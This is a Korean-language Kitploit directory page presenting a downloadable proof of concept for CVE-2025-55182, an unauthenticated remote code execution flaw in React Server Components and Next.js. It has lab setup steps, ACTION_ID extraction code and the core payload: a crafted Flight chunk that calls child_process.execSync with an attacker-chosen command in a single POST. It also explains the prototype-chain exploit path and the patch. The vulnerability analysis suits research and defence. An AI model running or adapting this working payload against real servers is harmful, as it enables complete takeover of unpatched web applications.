Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
cve-2025-55182-poc — CVE-2025-55182 (React2Shell)에 대한 개념 증명: Flight 프로토콜 역직렬화를 통한 React Server Components / Next.js에서의 인증되지 않은 RCE | Kitploit
도구/GitHubGitHub/monarchfish/cve-2025-55182-poc
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingPayload Development
GitHubmonarchfish/cve-2025-55182-poc

cve-2025-55182-poc

CVE-2025-55182 (React2Shell)에 대한 개념 증명: Flight 프로토콜 역직렬화를 통한 React Server Components / Next.js에서의 인증되지 않은 RCE

저장소 보기
75개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

기본 정보

CVE-2025-55182는 2025년에 가장 광범위한 영향을 미친 웹 프레임워크 취약점 중 하나입니다. React Server Components(RSC)는 현대 Next.js 애플리케이션의 주요 아키텍처가 되었으며, create-next-app으로 생성된 표준 프로젝트 대부분이 영향을 받으며 별도의 사용자 정의 코드 없이도 악용될 수 있습니다.

항목내용
CVE 번호CVE-2025-55182
별칭React2Shell
취약점 유형인증되지 않은 원격 코드 실행(Unauthenticated RCE); CWE-502 신뢰할 수 없는 데이터 역직렬화(Deserialization of Untrusted Data) [3]
CVSS 점수10.0 (Critical) (CVSS 3.1, Facebook/CNA [2])
영향을 받는 패키지react-server-dom-parcel, react-server-dom-turbopack, react-server-dom-webpack
영향을 받는 버전React 19.0.0~19.2.0 / Next.js 14.3.0-canary.77 이상, 15.x, 16.x
공격 복잡도매우 낮음(단일 HTTP POST 요청)
인증 필요 여부아니요

POC 구축 절차

1. 공식 구문으로 앱 생성

취약한 버전(16.0.6)을 사용하여 Next 앱 생성:

root@kitploit:~
pnpm create [email protected] next-app --yes

2. 테스트용 Server Action 만들기

  1. next-app/app/ 아래에 actions.ts를 추가하고 Server Action으로 표시:

    root@kitploit:~
    "use server";
    
    export async function testAction(formData: FormData) {
      console.log("Action called with:", formData);
    }
    
  2. 홈페이지(예: app/page.tsx)에 폼을 추가하고, action은 위 testAction을 가리키며 최소 하나의 필드(예: hidden input)를 포함해야 합니다.

    Next.js는 해당 폼에 대해 HTML에 name="$ACTION_ID_<40자 hex>"인 hidden input을 생성합니다; POC는 홈페이지 HTML에서 정규식으로 이 ID를 추출합니다.

3. 안전한 컨테이너화 POC 환경 구축

프로젝트 내 next-app/Dockerfile과 docker-compose.yml을 사용하여 Next 앱을 빌드하고 실행할 수 있습니다. 작성 방법은 공식 예제 [8]을 참고하세요.

프로젝트 루트 디렉터리에서 실행:

root@kitploit:~
docker compose up --build -d

http://localhost:3000에서 실행 중인 Next 앱에 접속할 수 있습니다.

POC 종료 후 Docker 환경을 완전히 제거합니다:

root@kitploit:~
docker compose down -v

취약점 악용 단계

1단계: ACTION_ID 획득

POC 실행 시 스크립트가 홈페이지를 가져와 정규식 \$ACTION_ID_([a-f0-9]{40})/으로 ID를 추출합니다. 예시:

root@kitploit:~
const ACTION_ID_REGEX = /\$ACTION_ID_([a-f0-9]{40})/

async function extractActionIdFromPage(baseUrl: string) {
  const response = await fetch(baseUrl);
  const html = await response.text();
  const match = html.match(ACTION_ID_REGEX);
  return match ? match[1] : "";
}

2단계: 취약점 악용 실행

프로젝트 루트에서 의존성을 설치한 후 실행:

root@kitploit:~
pnpm install
pnpm poc [BASE_URL] [EXECUTABLE]

핵심 코드 조각은 다음과 같습니다:

root@kitploit:~
function escapeExecutable(executable: string) {
  return executable.replace(/\\/g, "\\\\").replace(/'/g, "\\'");
}

const escapedExecutable = escapeExecutable(executable);

const craftedChunk = {
  then: "$1:__proto__:then",
  status: "resolved_model",
  reason: -1,
  value: '{"then": "$B0"}',
  _response: {
    _prefix: `process.mainModule.require('child_process').execSync('${escapedExecutable}');`,
    _formData: {
      get: "$1:constructor:constructor",
    },
  },
};

const formData = new FormData();
formData.append("0", JSON.stringify(craftedChunk));
formData.append("1", '"$@0"');

const controller = new AbortController();
const timeoutId = setTimeout(() => controller.abort(), 3000);

try {
  const response = await fetch(baseUrl, {
    method: "POST",
    headers: { "Next-Action": actionId },
    body: formData,
    signal: controller.signal,
  });
  clearTimeout(timeoutId);
  const text = await response.text();
  console.log(`Status Code: ${response.status}`);
  console.log(`Response: ${text.slice(0, 500)}`);
} catch (e) {
  // handle timeout or error
}

다음은 대상 호스트에 파일을 쓰는 예시입니다:

root@kitploit:~
pnpm poc http://localhost:3000 "echo 'RCE_SUCCESS' > /tmp/rce_output"

3단계: 결과 확인

  • RCE 성공 시, 서버는 명령 실행 후 멈추거나 타임아웃이 발생할 수 있으며, 이때 request도 타임아웃되는 것이 정상입니다.
  • 대상 호스트에서 명령이 실행되었는지 확인하세요(예: 파일, 프로세스 확인).
  • docker compose exec으로 컨테이너에 들어가 확인하거나 Docker Desktop을 통해 확인할 수 있습니다.

원리 설명

취약점 위치

취약점은 React의 Flight 프로토콜 역직렬화 메커니즘(RSC Flight Deserializer)에 있습니다. 이 메커니즘은 서버와 클라이언트 간에 React 컴포넌트 상태를 전달하는 역할을 하지만, 처리 과정에 심각한 신뢰 경계(trust boundary) 문제가 존재합니다.

React Flight 프로토콜은 React가 Server Components와 Server Actions를 위해 설계한 와이어 포맷(wire format)입니다: 컴포넌트 트리, 함수 매개변수 등을 JSON으로 표현된 chunk 스트림으로 직렬화하고, $숫자, $숫자:키이름을 통해 chunk 간 참조를 설정하여 서버가 완전한 JavaScript 값을 복원할 수 있게 합니다.

악용 체인 (Exploit Chain)

root@kitploit:~
공격자가 악의적인 HTTP POST 전송
        ↓
[1단계] 자기 참조 루프 객체 생성 (Self-referential loop)
        ↓
[2단계] JavaScript 엔진이 공격자가 제어하는 함수를 호출하도록 유도
        ↓
[3단계] 악성 데이터를 주입하여 Flight 초기화 프로세스 트리거
        ↓
[4단계] Blob Handler를 통해 Function 생성자 호출
        ↓
서버에서 임의의 JavaScript 실행 (RCE)

React Server 및 전송 형식

React의 Server Functions(Next.js에서는 Server Actions)는 프런트엔드가 백엔드로 보낼 데이터를 React Flight 프로토콜을 통해 "조각조각"의 chunk로 직렬화한 후, 폼 데이터(form data)로 전송합니다.

이 설계의 장점은 다음과 같습니다:

  • 스트리밍 전송: chunk를 순차적으로 생성하고 구문 분석할 수 있어 전체 payload가 준비될 때까지 기다릴 필요가 없으며, 지연 시간 및 메모리 제어에 유리합니다.
  • 중복 제거 및 공유: 동일한 데이터는 한 번만 직렬화되고 여러 곳에서 참조로 연결되어 중복과 전송량을 줄입니다.
  • 폼 POST 호환: chunk는 multipart 필드로 전송되므로 사용자 정의 바이너리 프로토콜이 필요 없으며, 기존 CDN, 프록시 및 디버깅에도 유리합니다.
  • 복잡한 구조 표현 가능: 중첩 객체와 참조로 표현되는 그래프 구조를 지원하여 RPC에 필요한 풍부한 타입을 충족합니다.

Chunk는 서로 참조할 수 있습니다. 예:

  • chunk 0: ["$1"] (첫 번째 chunk 참조)
  • chunk 1: {"object":"fruit","name":"$2:fruitName"} (두 번째 chunk의 fruitName 참조)
  • chunk 2: {"fruitName":"cherry"}

서버가 해석하면: { object: 'fruit', name: 'cherry' }를 얻습니다. 즉, 프로토콜은 $숫자:키이름으로 다른 chunk의 속성을 가리킨 다음 최종 JavaScript 객체로 조합할 수 있습니다.

취약점 원인

패치 이전의 구현에서는 이러한 참조를 구문 분석할 때 "해당 키가 실제로 해당 객체 자체에 존재하는지"를 엄격하게 검사하지 않았기 때문에, 공격자는 참조를 통해 객체 프로토타입(prototype) 의 속성을 읽을 수 있었습니다.

예를 들어 다음과 같은 payload를 구성할 수 있습니다:

  • chunk 0: ["$1:__proto__:constructor:constructor"]
  • chunk 1: {"x":1}

서버가 "chunk 1의 __proto__ → constructor → constructor"를 해석하면 Function 생성자([Function: Function])를 얻습니다. 즉, 문자열로 함수를 생성하는 내장 생성자입니다. 즉, 부적절한 참조 체인을 통해 서버 측에서 Function을 획득하여 문자열을 코드로 실행할 수 있습니다.

thenable과 await

Next.js가 폼을 수신하면 decodeReplyFromBusboy를 사용하여 chunk를 하나의 값으로 복원한 후, 해당 값을 await합니다.

JavaScript에서 객체에 .then 메서드가 있으면 thenable로 간주됩니다. await할 때 이 .then이 호출됩니다. 따라서 "디코딩 결과"의 .then이 공격자가 제어하는 함수(예: 위의 Function 생성자)를 가리키게 하면, await 시점에 해당 로직이 실행됩니다. 공격의 다음 단계는 "디코딩 후 thenable처럼 보이는 객체"를 구성하고, 그 .then을 의도된 호출 지점(call gadget)으로 설정하는 것입니다.

'가짜 chunk'에서 RCE로

  1. $@0으로 '원시 chunk' 참조
    프로토콜에서 $@숫자는 "N번째 chunk의 원시 내용을 가져오고 더 이상 구문 분석하지 않음"을 의미합니다. 따라서 chunk 1을 "$@0"으로 설정하면 구문 분석 과정에서 "chunk 0 자체"의 원시 표현을 읽게 됩니다.

  2. chunk 0의 .then을 Chunk의 prototype으로 설정
    chunk 0이 객체이고 {"then": "$1:__proto__:then", ...} 형태이며, chunk 1이 "$@0"이면 구문 분석 시 chunk 0의 .then이 Chunk.prototype.then(Flight 프로토콜에서 Chunk 자체가 thenable임)으로 설정됩니다. 이렇게 하면 Next.js가 디코딩 결과를 await할 때 Chunk의 .then 로직이 실행됩니다.

  3. initializeModelChunk 트리거
    Chunk.prototype.then에서 해당 '가짜 chunk'의 status가 "resolved_model"이면 initializeModelChunk가 호출됩니다. 이 함수는 chunk의 value를 JSON으로 구문 분석하고, 구문 분석된 객체에 대해 '부활'(revive) 과정을 수행하며, 이 과정에서 다양한 특수 접두사(예: $B로 시작하는 blob 참조)가 처리됩니다.

  4. 호출 지점: _response._formData.get(_prefix + id)
    $B 접두사를 처리할 때 프로그램이 실행됩니다:
    response._formData.get(response._prefix + 어떤 id).
    가짜 chunk에서 _response를 통해 _formData와 _prefix를 제어하고, _formData.get을 Function 생성자로, _prefix를 실행하려는 코드 문자열로 설정하면 해당 줄은 다음과 같이 변합니다:
    Function("우리가 작성한 코드" + "0")
    즉, "문자열로 함수를 생성"하게 됩니다. 이 함수는 해당 chunk의 .then 반환값이 되고, 동일한 promise 체인에서 await되어 호출되므로 서버에서 우리의 코드가 실행됩니다.

  5. 실제 RCE
    "우리가 작성한 코드"를 예를 들어:
    process.mainModule.require('child_process').execSync('실행할 시스템 명령어');
    로 변경하면 서버에서 원격 코드 실행(RCE) 을 달성할 수 있습니다.

패치 방식 (요약)

React는 PR #35277 [9] (커밋 e2fd5dc [10])에서 이 취약점을 수정했으며, 핵심은 두 가지입니다:

  1. 속성 해석을 prototype 체인을 따라가지 않도록 제한
    requireModule 등 chunk 참조를 해석하는 로직에서, 먼저 hasOwnProperty로 "해당 키가 실제로 객체 자체에 존재하는지"를 확인합니다. 존재하지 않으면 undefined를 반환하여 __proto__에서 constructor 등 노출되어서는 안 되는 속성을 얻지 못하게 합니다. 이 수정은 여러 Flight 관련 모듈(예: ReactFlightClientConfigBundlerNode, ReactFlightClientConfigBundlerWebpack 및 Parcel/Turbopack 대응 설정)에 적용되어 "참조를 통해 Function 생성자 획득 → thenable 구성 → get gadget 트리거로 임의 코드 실행" 악용 체인을 차단합니다.

  2. decodeReplyFromBusboy의 오류 처리
    form data 구문 분석(resolveField, resolveFileComplete 등) 시 try/catch를 추가하여 구문 분석 중 오류가 발생하면 busboyStream.destroy(error)를 호출함으로써 오류가 올바르게 전파되고 스트림이 불일치 상태에 빠지는 것을 방지하여, 구문 분석 예외 시 악용 가능성을 줄입니다.


참고 링크

  1. NVD — CVE-2025-55182
  2. CVSS 3.1 계산 (Facebook/CNA)
  3. CWE-502 — Deserialization of Untrusted Data
  4. React 공식 발표 — Critical security vulnerability in React Server Components
  5. Facebook 보안 권고 — CVE-2025-55182
  6. CISA 알려진 악용 취약점 카탈로그
  7. Next.js 보안 권고 — RCE in React Server Components
  8. Next.js with-docker 예제 Dockerfile
  9. React PR #35277 — Patch FlightReplyServer with fixes from ReactFlightClient
  10. React PR #35277 구체적인 변경 (커밋 e2fd5dc)
  11. POC 참고
도구 다운로드